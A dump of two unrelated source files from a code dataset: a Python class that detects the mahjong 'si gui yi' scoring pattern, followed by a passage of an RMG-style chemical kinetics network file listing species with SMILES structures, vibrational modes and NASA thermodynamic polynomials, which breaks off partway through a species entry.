] | permissive | obespoir/echecs | d8314cffa85c8dce316d40e3e713615e9b237648 | e4bb8be1d360b6c568725aee4dfe4c037a855a49 | refs/heads/master | 2022-12-11T04:04:40.021535 | 2020-03-29T06:58:25 | 2020-03-29T06:58:25 | 249,185,889 | 16 | 9 | null | null | null | null | UTF-8 | Python | false | false | 2,763 | py | # coding=utf-8
import time
from service.mahjong.models.hutype.basetype import BaseType
from service.mahjong.constants.carddefine import CardType, CARD_SIZE
from service.mahjong.models.card.hand_card import HandCard
from service.mahjong.models.card.card import Card
from service.mahjong.models.utils.cardanalyse import CardAnalyse
class SiGuiYi(BaseType):
"""
4) 四归一：胡牌时，牌里有4张相同的牌归于一家的顺、刻子、对、将牌中（不包括杠牌） 。
"""
def __init__(self):
super(SiGuiYi, self).__init__()
def is_this_type(self, hand_card, card_analyse):
used_card_type = [CardType.WAN] # 此游戏中使用的花色
union_card = hand_card.union_card_info
gang_lst = []
gang_lst.extend(hand_card.dian_gang_card_vals)
gang_lst.extend(hand_card.bu_gang_card_vals)
gang_lst.extend(hand_card.an_gang_card_vals)
ret = [] # 手里有4张的牌集
for i, count in enumerate(union_card[CardType.WAN]):
if i == 0 and count < 4:
return False
if count == 4 and Card.cal_card_val(CardType.WAN, i) not in gang_lst:
ret.append(Card.cal_card_val(CardType.WAN, i))
if not ret:
return False
gang_lst = self.get_gang_lst(hand_card)
for i in ret:
if i in gang_lst:
return False
return True
def get_gang_lst(self, hand_card):
ret = []
for i in hand_card.dian_gang_card_vals: # 点杠的牌
ret.append(i[0])
for i in hand_card.bu_gang_card_vals: # 补杠的牌
ret.append(i[0])
for i in hand_card.an_gang_card_vals: # 暗杠的牌
ret.append(i[0])
return ret
if __name__ == "__main__":
pass
card_analyse = CardAnalyse()
hand_card = HandCard(0)
# hand_card.hand_card_info = {
# 1: [9, 1, 1, 1, 1, 1, 1, 1, 1, 1], # 万
# 2: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # 条
# 3: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # 饼
# 4: [2, 2, 0, 0, 0], # 风
# 5: [3, 3, 0, 0], # 箭
# }
hand_card.hand_card_info = {
1: [9, 1, 1, 4, 1, 1, 1, 1, 1, 1], # 万
2: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # 条
3: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0], # 饼
4: [2, 2, 0, 0, 0], # 风
5: [0, 0, 0, 0], # 箭
}
hand_card.handle_hand_card_for_settle_show()
hand_card.union_hand_card()
print("hand_card =", hand_card.hand_card_vals)
test_type = SiGuiYi()
start_time = time.time()
print(test_type.is_this_type(hand_card, card_analyse))
print("time = ", time.time() - start_time) | [
"[email protected]"
] | |
21c351a8fe2fc37d56c8ee1bc4ffb02f12c1c5cf | 04803c70bb97012b7d500a177ac0240fb2ddbe38 | /4chpd/pdep/network556_1.py | 2b8da0c07c0a5631e9d783dabeb7fa796d2e24f7 | [] | no_license | shenghuiqin/chpd | 735e0415f6688d88579fc935459c1b0f53596d1d | 396ba54629036e3f2be0b3fabe09b78c90d56939 | refs/heads/master | 2023-03-01T23:29:02.118150 | 2019-10-05T04:02:23 | 2019-10-05T04:02:23 | 192,084,217 | 0 | 0 | null | 2019-06-18T18:33:13 | 2019-06-15T13:52:28 | HTML | UTF-8 | Python | false | false | 93,703 | py | species(
label = 'C=C[CH]C(C)O[CH]C(2302)',
structure = SMILES('C=C[CH]C(C)O[CH]C'),
E0 = (69.8904,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1380,1390,370,380,2900,435,3000,3050,390,425,1340,1360,335,370,2950,3100,1380,975,1025,1650,3010,987.5,1337.5,450,1655,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.672656,0.0957605,-8.24922e-05,3.6976e-08,-6.69666e-12,8579.82,31.2676], Tmin=(100,'K'), Tmax=(1315.44,'K')), NASAPolynomial(coeffs=[18.8206,0.0364849,-1.48996e-05,2.71977e-09,-1.86197e-13,3451.42,-68.1203], Tmin=(1315.44,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(69.8904,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + longDistanceInteraction_noncyclic(OsCs-ST) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(C=CCJCO) + radical(CCsJOCs)"""),
)
species(
label = 'C=CC=CC(381)',
structure = SMILES('C=CC=CC'),
E0 = (57.8956,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2750,2800,2850,1350,1500,750,1050,1375,1000,2950,3100,1380,975,1025,1650,2995,3010,3025,975,987.5,1000,1300,1337.5,1375,400,450,500,1630,1655,1680,180],'cm^-1')),
HinderedRotor(inertia=(0.831076,'amu*angstrom^2'), symmetry=1, barrier=(19.1081,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.833175,'amu*angstrom^2'), symmetry=1, barrier=(19.1563,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (68.117,'amu'),
collisionModel = TransportData(shapeIndex=2, epsilon=(3140.68,'J/mol'), sigma=(5.4037,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0, comment="""Epsilon & sigma estimated with Tc=490.57 K, Pc=45.16 bar (from Joback method)"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.00727,0.0328459,1.55855e-05,-4.25745e-08,1.84259e-11,7044.82,16.9534], Tmin=(100,'K'), Tmax=(972.32,'K')), NASAPolynomial(coeffs=[11.2869,0.0212416,-7.50361e-06,1.3618e-09,-9.72233e-14,3984.25,-34.0139], Tmin=(972.32,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(57.8956,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(299.321,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-Cds(Cds-Cds)H) + group(Cds-Cds(Cds-Cds)H) + group(Cds-CdsHH)"""),
)
species(
label = 'CH3CHO(52)',
structure = SMILES('CC=O'),
E0 = (-178.765,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2750,2800,2850,1350,1500,750,1050,1375,1000,180,1305.64,1305.66,1305.67,3976.84],'cm^-1')),
HinderedRotor(inertia=(0.136163,'amu*angstrom^2'), symmetry=1, barrier=(3.13064,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (44.0526,'amu'),
collisionModel = TransportData(shapeIndex=2, epsilon=(3625.12,'J/mol'), sigma=(3.97,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=2.0, comment="""GRI-Mech"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[4.72946,-0.00319329,4.75349e-05,-5.74586e-08,2.19311e-11,-21572.9,4.10302], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[5.40411,0.0117231,-4.22631e-06,6.83725e-10,-4.09849e-14,-22593.1,-3.48079], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(-178.765,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(153.818,'J/(mol*K)'), label="""CH3CHO""", comment="""Thermo library: FFCM1(-)"""),
)
species(
label = '[CH2]C1[CH]C(C)OC1C(3810)',
structure = SMILES('[CH2]C1[CH]C(C)OC1C'),
E0 = (100.754,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[1.05457,0.0429246,6.83606e-05,-1.25698e-07,5.48853e-11,12244.5,26.7473], Tmin=(100,'K'), Tmax=(900.209,'K')), NASAPolynomial(coeffs=[17.0446,0.0297095,-5.98931e-06,7.31272e-10,-4.5941e-14,7022.18,-61.7305], Tmin=(900.209,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(100.754,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(469.768,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-CsCsCsH) + group(Cs-CsCsOsH) + group(Cs-CsCsOsH) + group(Cs-CsCsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + ring(Tetrahydrofuran) + radical(CCJCO) + radical(Isobutyl)"""),
)
species(
label = 'H(19)',
structure = SMILES('[H]'),
E0 = (211.792,'kJ/mol'),
spinMultiplicity = 1,
opticalIsomers = 1,
molecularWeight = (1.00794,'amu'),
collisionModel = TransportData(shapeIndex=0, epsilon=(1205.6,'J/mol'), sigma=(2.05,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""GRI-Mech"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.5,9.24385e-15,-1.3678e-17,6.66185e-21,-1.00107e-24,25472.7,-0.459566], Tmin=(100,'K'), Tmax=(3459.6,'K')), NASAPolynomial(coeffs=[2.5,9.20456e-12,-3.58608e-15,6.15199e-19,-3.92042e-23,25472.7,-0.459566], Tmin=(3459.6,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(211.792,'kJ/mol'), Cp0=(20.7862,'J/(mol*K)'), CpInf=(20.7862,'J/(mol*K)'), label="""H""", comment="""Thermo library: BurkeH2O2"""),
)
species(
label = 'C=CC=C(C)O[CH]C(3811)',
structure = SMILES('C=CC=C(C)O[CH]C'),
E0 = (18.4008,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2950,3100,1380,975,1025,1650,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,3025,407.5,1350,352.5,350,440,435,1725,2995,3025,975,1000,1300,1375,400,500,1630,1680,200,800,1200,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 2,
opticalIsomers = 1,
molecularWeight = (111.162,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.760161,0.0904933,-6.20578e-05,4.69667e-09,7.81107e-12,2397.25,29.882], Tmin=(100,'K'), Tmax=(969.439,'K')), NASAPolynomial(coeffs=[23.2212,0.0234865,-7.80361e-06,1.37545e-09,-9.74342e-14,-3753.46,-92.8118], Tmin=(969.439,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(18.4008,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(436.51,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-Cs(Cds-Cd)) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsOs) + group(Cds-Cds(Cds-Cds)H) + group(Cds-Cds(Cds-Cds)H) + group(Cds-CdsHH) + radical(CCsJOC(O))"""),
)
species(
label = 'C=C[CH]C(C)OC=C(3812)',
structure = SMILES('C=C[CH]C(C)OC=C'),
E0 = (-24.7917,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([1380,1390,370,380,2900,435,3025,407.5,1350,352.5,2950,3000,3050,3100,1330,1430,900,1050,1000,1050,1600,1700,2995,3025,975,1000,1300,1375,400,500,1630,1680,2750,2800,2850,1350,1500,750,1050,1375,1000,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 2,
opticalIsomers = 1,
molecularWeight = (111.162,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.534319,0.0787576,-1.59677e-05,-4.7868e-08,2.72276e-11,-2799.48,29.02], Tmin=(100,'K'), Tmax=(957.022,'K')), NASAPolynomial(coeffs=[25.1838,0.0220849,-6.79384e-06,1.22813e-09,-9.22084e-14,-10049.3,-106.084], Tmin=(957.022,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(-24.7917,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(436.51,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-Cs(Cds-Cd)) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsOsH) + group(Cds-CdsHH) + group(Cds-CdsHH) + radical(C=CCJCO)"""),
)
species(
label = 'C=C=CC(C)O[CH]C(3813)',
structure = SMILES('C=C=CC(C)O[CH]C'),
E0 = (114.904,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([540,610,2055,3025,407.5,1350,352.5,3010,987.5,1337.5,450,1655,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,200,800,1200,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 2,
opticalIsomers = 1,
molecularWeight = (111.162,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.310802,0.088366,-7.57669e-05,3.37793e-08,-6.08475e-12,13980.2,32.2937], Tmin=(100,'K'), Tmax=(1321.76,'K')), NASAPolynomial(coeffs=[17.7324,0.033762,-1.37991e-05,2.52388e-09,-1.73009e-13,9210.52,-59.7877], Tmin=(1321.76,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(114.904,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(436.51,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + group(Cs-(Cds-Cds)CsOsH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + group(Cdd-CdsCds) + radical(CCsJOCs)"""),
)
species(
label = '[CH2]C=C[CH]C(377)',
structure = SMILES('[CH2]C=C[CH]C'),
E0 = (240.064,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2750,2800,2850,1350,1500,750,1050,1375,1000,3000,3100,440,815,1455,1000,2995,3025,975,1000,1300,1375,400,500,1630,1680,3025,407.5,1350,352.5,180],'cm^-1')),
HinderedRotor(inertia=(0.0180055,'amu*angstrom^2'), symmetry=1, barrier=(19.7234,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(1.34503,'amu*angstrom^2'), symmetry=1, barrier=(119.627,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.0180001,'amu*angstrom^2'), symmetry=1, barrier=(19.7225,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (68.117,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[2.18178,0.0283568,2.70949e-05,-5.14684e-08,2.05693e-11,28948.9,17.5848], Tmin=(100,'K'), Tmax=(990.212,'K')), NASAPolynomial(coeffs=[10.2369,0.0240425,-9.12514e-06,1.70243e-09,-1.22294e-13,25969.9,-28.1844], Tmin=(990.212,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(240.064,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(295.164,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(Cs-(Cds-Cds)CsHH) + group(Cs-CsHHH) + group(Cs-(Cds-Cds)HHH) + group(Cds-CdsCsH) + group(Cds-CdsCsH) + radical(Allyl_P) + radical(Allyl_S)"""),
)
species(
label = 'CH3(34)',
structure = SMILES('[CH3]'),
E0 = (136.188,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([604.263,1333.71,1492.19,2836.77,2836.77,3806.92],'cm^-1')),
],
spinMultiplicity = 2,
opticalIsomers = 1,
molecularWeight = (15.0345,'amu'),
collisionModel = TransportData(shapeIndex=2, epsilon=(1197.29,'J/mol'), sigma=(3.8,'angstroms'), dipoleMoment=(0,'C*m'), polarizability=(0,'angstroms^3'), rotrelaxcollnum=0.0, comment="""GRI-Mech"""),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[3.65718,0.0021266,5.45839e-06,-6.6181e-09,2.46571e-12,16422.7,1.67354], Tmin=(200,'K'), Tmax=(1000,'K')), NASAPolynomial(coeffs=[2.97812,0.00579785,-1.97558e-06,3.07298e-10,-1.79174e-14,16509.5,4.72248], Tmin=(1000,'K'), Tmax=(6000,'K'))], Tmin=(200,'K'), Tmax=(6000,'K'), E0=(136.188,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(83.1447,'J/(mol*K)'), label="""CH3""", comment="""Thermo library: FFCM1(-)"""),
)
species(
label = 'C=CC=CO[CH]C(3814)',
structure = SMILES('C=CC=CO[CH]C'),
E0 = (60.1923,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([2750,2800,2850,1350,1500,750,1050,1375,1000,3025,407.5,1350,352.5,2950,3100,1380,975,1025,1650,2995,3010,3025,975,987.5,1000,1300,1337.5,1375,400,450,500,1630,1655,1680,180,180,180,180],'cm^-1')),
HinderedRotor(inertia=(0.965138,'amu*angstrom^2'), symmetry=1, barrier=(22.1904,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.963416,'amu*angstrom^2'), symmetry=1, barrier=(22.1508,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.965386,'amu*angstrom^2'), symmetry=1, barrier=(22.1961,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.963081,'amu*angstrom^2'), symmetry=1, barrier=(22.1431,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 2,
opticalIsomers = 1,
molecularWeight = (97.1351,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.112572,0.0714945,-2.17543e-05,-4.20115e-08,2.68296e-11,7405.09,25.5545], Tmin=(100,'K'), Tmax=(925.225,'K')), NASAPolynomial(coeffs=[25.6278,0.00928354,-4.52553e-07,-3.63748e-11,-1.3952e-15,541.59,-107.978], Tmin=(925.225,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(60.1923,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(365.837,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-Cs(Cds-Cd)) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cds-Cds(Cds-Cds)H) + group(Cds-Cds(Cds-Cds)H) + group(Cds-CdsOsH) + group(Cds-CdsHH) + radical(CCsJOC(O))"""),
)
species(
label = 'C=CC[C](C)O[CH]C(3815)',
structure = SMILES('C=CC[C](C)O[CH]C'),
E0 = (133.678,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3025,407.5,1350,352.5,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,2950,3100,1380,975,1025,1650,360,370,350,2750,2850,1437.5,1250,1305,750,350,3010,987.5,1337.5,450,1655,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.19918,0.0981604,-0.000109576,7.3549e-08,-2.08823e-11,16223.7,32.3302], Tmin=(100,'K'), Tmax=(842.758,'K')), NASAPolynomial(coeffs=[10.1903,0.0488487,-2.18079e-05,4.1198e-09,-2.86482e-13,14472.6,-16.0157], Tmin=(842.758,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(133.678,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + longDistanceInteraction_noncyclic(OsCs-ST) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(C2CsJOCs) + radical(CCsJOCs)"""),
)
species(
label = '[CH2]COC(C)[CH]C=C(3816)',
structure = SMILES('[CH2]COC(C)[CH]C=C'),
E0 = (101.023,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3025,407.5,1350,352.5,3010,987.5,1337.5,450,1655,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,3000,3100,440,815,1455,1000,2750,2800,2850,1350,1500,750,1050,1375,1000,2750,2850,1437.5,1250,1305,750,350,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
thermo = NASA(polynomials=[NASAPolynomial(coeffs=[-0.328941,0.0916726,-7.53041e-05,3.24753e-08,-5.75653e-12,12308.9,31.2194], Tmin=(100,'K'), Tmax=(1321.64,'K')), NASAPolynomial(coeffs=[16.5572,0.0405664,-1.73013e-05,3.21747e-09,-2.22172e-13,7845.37,-54.9554], Tmin=(1321.64,'K'), Tmax=(5000,'K'))], Tmin=(100,'K'), Tmax=(5000,'K'), E0=(101.023,'kJ/mol'), Cp0=(33.2579,'J/(mol*K)'), CpInf=(457.296,'J/(mol*K)'), comment="""Thermo group additivity estimation: group(O2s-CsCs) + longDistanceInteraction_noncyclic(OsCs-ST) + group(Cs-CsCsOsH) + group(Cs-(Cds-Cds)CsHH) + group(Cs-CsOsHH) + group(Cs-CsHHH) + group(Cs-CsHHH) + group(Cds-CdsCsH) + group(Cds-CdsHH) + radical(C=CCJCO) + radical(CJCO)"""),
)
species(
label = 'C=[C]CC(C)O[CH]C(3817)',
structure = SMILES('C=[C]CC(C)O[CH]C'),
E0 = (190.815,'kJ/mol'),
modes = [
HarmonicOscillator(frequencies=([3025,407.5,1350,352.5,1685,370,2950,3100,1380,975,1025,1650,1380,1390,370,380,2900,435,2750,2850,1437.5,1250,1305,750,350,2750,2770,2790,2810,2830,2850,1350,1400,1450,1500,700,800,1000,1100,1350,1400,900,1100,200,800,1066.67,1333.33,1600],'cm^-1')),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
HinderedRotor(inertia=(0.156089,'amu*angstrom^2'), symmetry=1, barrier=(3.5888,'kJ/mol'), semiclassical=False),
],
spinMultiplicity = 3,
opticalIsomers = 1,
molecularWeight = (112.17,'amu'),
energyTransferModel = SingleExponentialDown(alpha0=(3.5886,'kJ/mol'), T0=(300,'K'), n=0.85),
